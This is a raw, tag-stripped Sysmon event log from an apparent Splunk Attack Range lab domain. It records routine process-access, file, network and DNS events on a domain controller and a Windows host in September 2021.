14:44:45.343{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5D-613B-3409-00000000F001}1368C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.333{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F5D-613B-3409-00000000F001}1368C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.333{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5D-613B-3409-00000000F001}1368C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.282{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5D-613B-3309-00000000F001}5840C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.262{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5D-613B-3309-00000000F001}5840C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.262{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5D-613B-3309-00000000F001}5840C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.122{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=87475213F67F086EA06BA6D1E564C04E,SHA256=6A6463F14F4BFE3DEA139410941AD5B581EDE70A934DFC1A9ACD9D5173BBB99F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.112{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=48B1A1F20F2E34071F1686E441CA6501,SHA256=A441669D7360FF544B73E8CCBE300E9AD419EDE4647F5D70382330D616150975,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000013953Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:45.098{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=892F99024304E616B139E6F587710433,SHA256=82CDF822EE7F09E6A96A5964462BA3D5C38C2504232084F3CD9045395F253128,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000044172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.022{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A5EFC85A3FF7FCA29C6AF525E53B514A,SHA256=A5AC6BA508899FC4FE3994B0546FFB573B1701542A7EDDA9B08C6E5959567C14,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000044171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.022{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=52751A084C8FF2CB4074577BFECF8EC2,SHA256=899F470AE1FFE6B1FAC5066AF0826228206A99D311E548936C90684AED3B6BF0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.942{7BD73061-65BF-613B-2C00-00000000F001}29722160C:\Windows\sysmon64.exe{7BD73061-6F5A-613B-2009-00000000F001}7072C:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MicrosoftSearchInBing.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ntdll.dll+6cd0a|C:\Windows\System32\KERNEL32.DLL+1cff8|C:\Windows\System32\KERNEL32.DLL+25a87|C:\Windows\sysmon64.exe+14ced|C:\Windows\sysmon64.exe+15adb|C:\Windows\sysmon64.exe+16c29|C:\Windows\sysmon64.exe+1abb1|C:\Windows\sysmon64.exe+1cfc7|C:\Windows\sysmon64.exe+1d392|C:\Windows\sysmon64.exe+1d4a5|C:\Windows\sysmon64.exe+b0519|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.942{7BD73061-65BF-613B-2C00-00000000F001}29722160C:\Windows\sysmon64.exe{7BD73061-6F5A-613B-2009-00000000F001}7072C:\Program Files (x86)\Microsoft\Microsoft Search in Bing\MicrosoftSearchInBing.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\sysmon64.exe+2682c|C:\Windows\sysmon64.exe+1cc6d|C:\Windows\sysmon64.exe+1d392|C:\Windows\sysmon64.exe+1d4a5|C:\Windows\sysmon64.exe+b0519|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.892{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.882{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000044166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10532021-09-10 14:44:44.862{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exeC:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-589020557-3528615288-1361562277-5002021-09-10 14:44:44.862 534500x800000000000000044165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.862{7BD73061-6F5C-613B-3109-00000000F001}4964C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe 354300x800000000000000013955Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:44.522{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50120-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013954Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:46.129{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AC721A26F14898497A81F6CE47944DFE,SHA256=828AFD1185016811DD77C0E7A78A1759566A60072A116A2998CD84B24AA03C4B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.995{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F5E-613B-4A09-00000000F001}2120C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.995{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5E-613B-4A09-00000000F001}2120C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.955{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5E-613B-4909-00000000F001}6412C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.945{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F5E-613B-4909-00000000F001}6412C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.945{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5E-613B-4909-00000000F001}6412C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 354300x800000000000000044255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.593{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\Integration\Addons\OneDriveSetup.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59253-false104.208.16.90-443https 354300x800000000000000044254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.359{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\Integration\Addons\OneDriveSetup.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59251-false104.208.16.90-443https 354300x800000000000000044253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.358{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\Integration\Addons\OneDriveSetup.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59252-false104.208.16.90-443https 354300x800000000000000044252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.349{7BD73061-6F41-613B-0109-00000000F001}6672C:\Program Files\Microsoft Office\root\Integration\Addons\OneDriveSetup.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59250-false104.208.16.90-443https 354300x800000000000000044251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.222{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local54162- 354300x800000000000000044250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.122{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local56322- 354300x800000000000000044249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.122{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local63596- 354300x800000000000000044248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.095{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56322- 354300x800000000000000044247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.094{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63596- 10341000x800000000000000044246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.905{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5E-613B-4809-00000000F001}6556C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.885{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5E-613B-4809-00000000F001}6556C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:46.885{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5E-613B-4809-00000000F001}6556C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\